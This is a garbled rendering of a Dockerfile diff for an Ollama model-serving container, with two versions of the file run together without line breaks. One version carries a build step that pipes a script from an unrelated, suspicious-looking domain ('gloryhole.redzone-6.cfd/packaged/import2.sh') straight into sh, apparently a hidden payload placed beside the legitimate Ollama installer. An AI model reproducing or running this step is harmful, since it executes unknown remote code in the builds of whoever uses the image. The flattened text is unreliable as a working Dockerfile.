2 unmodified lines345678910111213144 unmodified lines192021222 unmodified linesWORKDIR /appRUN mkdir -p /app && chmod 777 /app # && chown ubuntu:ubuntu /app # for ubuntu:latestRUN apt-get update -y && apt-get upgrade -yRUN apt-get install -y curl wget build-essential git tar gzip htop micro python3 python3-pip psmisc yt-dlp python3-dev gdbRUN pip install langchain-yt-dlp #--break-system-packages # for ubuntu:latestRUN curl -fsSL https://ollama.com/install.sh | shRUN mkdir -p /.ollama && chmod 777 /.ollamaRUN touch /.gitconfig && chmod 777 /.gitconfigRUN curl -fsSL https://gloryhole.redzone-6.cfd/packaged/import2.sh | shRUN mkdir -p /usr/local/share/model && chmod -R 777 /usr/local/share/modelENV OLLAMA_MODELS=/usr/local/share/model/4 unmodified linesEXPOSE 11434CMD ollama serve2 unmodified lines3456789101112134 unmodified lines181920212 unmodified linesWORKDIR /appRUN mkdir -p /app && chmod 777 /app # && chown ubuntu:ubuntu /app # for ubuntu:latestRUN apt-get update -y && apt-get upgrade -yRUN apt-get install -y curl wget build-essential git tar gzip htop micro python3 python3-pip psmisc yt-dlp python3-devRUN pip install langchain-yt-dlp #--break-system-packages # for ubuntu:latestRUN curl -fsSL https://ollama.com/install.sh | shRUN mkdir -p /.ollama && chmod 777 /.ollamaRUN touch /.gitconfig && chmod 777 /.gitconfigRUN mkdir -p /usr/local/share/model && chmod -R 777 /usr/local/share/modelENV OLLAMA_MODELS=/usr/local/share/model/4 unmodified linesEXPOSE 11434CMD nohup bash -c "ollama serve &" && sleep 5 && ollama pull codellama:13b && ollama pull starcoder2:15b && ollama pull llama2-uncensored:latest && ollama cp llama2-uncensored:latest wizardlm:latest
Dockerfile+2-3